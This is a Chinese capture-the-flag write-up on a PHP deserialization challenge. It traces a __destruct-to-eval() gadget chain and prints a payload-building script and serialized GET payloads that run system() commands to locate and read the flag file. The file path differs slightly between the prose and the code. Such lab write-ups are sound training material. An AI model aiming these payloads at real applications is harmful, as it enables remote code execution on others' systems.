Polar Web【中等】反序列化
Contents
- Polar Web【中等】反序列化
- 思路&探索
- EXP
- PHP生成Payload
- GET传递参数
- 运行&总结
思路&探索
一个经典的反序列化问题,本文采用PHP代码辅助生成序列字符串的方式生成
Payload
来进行手动渗透。
- 打开站点,分析PHP代码:
- 可以发现,需要实现触发命令执行的位置在
process
类中的close
函数的eval()
处- 能够触发
close()
调用的方式 —— 创建example
实例,触发运行结束时__destruct()
执行- 其中,使得成员变量
handle
为所需要的process
实例,便可形成完整的调用链- 按照上述思路,在本地拷贝两个类,并实现调用链,并调用
echo
输出序列字符串在页面上,具体见下文图中- 按照站点提示,将序列字符串以
data
参数进行GET
传参:
- 初次使用
ls
命令,发现已处在根目录下,并未发现flag
,故考虑使用命令find / | grep flag
,找出flag
具体位置- 最后下达
cat /var/www/flag.php
命令,虽没有直接回显,查看源码可获取flag
EXP
PHP生成Payload
<?php
class process{
public $pid;
function close(){
eval($this->pid);
}
}
$a = new example();
$a->handle = new process();
// $a->handle->pid = "system('ls');";
// $a->handle->pid = "system('find / | grep flag');";
$a->handle->pid = "system('cat /var/www/html/flag.php');";
echo serialize($a);
?>
GET传递参数
http://~.www.polarctf.com:8090/?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:13:"system('ls');";}}
http://~.www.polarctf.com:8090/?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:29:"system('find / | grep flag');";}}
http://~.www.polarctf.com:8090/?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:37:"system('cat /var/www/html/flag.php');";}}
运行&总结
- 借用本经典的反序列化题目,记录如何用PHP代码辅助生成所需的序列字符串
- 找出合适的调用链,是为代码审计之要点